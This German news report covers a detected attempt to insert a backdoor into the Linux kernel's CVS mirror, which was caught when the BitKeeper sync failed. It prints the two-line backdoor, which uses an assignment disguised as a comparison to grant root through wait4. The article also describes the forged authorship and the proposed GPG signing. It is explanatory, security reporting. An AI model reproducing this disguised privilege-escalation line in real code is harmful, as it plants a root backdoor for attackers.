[HaBo]

Der Versuch von Unbekannten, eine Hintertür in den Linux-Kernel einzuschleusen, wurde binnen kurzem entdeckt.

Die Hintertür gelangte nicht in den offiziellen Kernel von Linus Torvalds, der das Bitkeeper-System zur Versions- und Patchverwaltung benutzt. Dies wäre auch nahezu unmöglich gewesen. Doch immerhin war es jemand gelungen, die Hintertür in das CVS-System einzuschleusen, das ein direktes Abbild der Quellen von Linus Torvalds darstellt. Es ist wohl noch nicht bekannt, wie das geschehen konnte. Entdeckt wurde es von Larry McVoy, dem Betreiber des Systems und Chef der Firma BitMover, da durch die Änderung der Abgleich zwischen Bitkeeper und CVS fehlschlug.

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;

Die beiden eingefügten Zeilen

Die Hintertür ist eine if-Anweisung, die bei der Übergabe von bestimmten Parametern an den Systemaufruf wait4 den Aufrufer zu ?Root? macht. Sie ist recht raffiniert getarnt und besteht aus lediglich zwei Zeilen. Das Änderungslog des CVS wurde so manipuliert, daß David Miller als Autor der Änderung erschien.

Wäre die Manipulation nicht gleich aufgefallen, so hätte theoretisch jemand einen Patch mit dieser Hintertür an Linus oder einen seiner Vertrauten senden können, und es wäre möglich gewesen, daß dieser so in die offiziellen Kernel-Quellen gelangt wäre. Es ist aber unwahrscheinlich, daß Linus Torvalds oder anderen entgangen wäre, daß diese Zeilen verdächtig sind.

Linus Torvalds und andere wiesen auch sogleich darauf hin, daß es fast unmöglich gewesen wäre, eine Hintertür direkt im offiziellen Kernel zu plazieren. In dem Moment, wo solch ein manipuliertes Bitkeeper-Repository mit anderen Systemen abgeglichen würde, würde dies fehlschlagen, weil eine unerwartete Änderung entdeckt würde. Noch weniger könnten die privaten Bitkeeper-Archive, die etliche Entwickler pflegen, manipuliert werden, eben weil sie privat und nicht öffentlich zugänglich sind.

Als Konsequenz aus dem Vorgang denkt man nun darüber nach, Änderungen mit GPG zu signieren, so daß man nicht vertrauenswürdige Änderungen an der fehlenden oder falschen Signatur erkennen kann. (Dank an Andreas Wozniak.)

(prolinux)

Weitere Informationen: http://kerneltrap.org/node/view/1584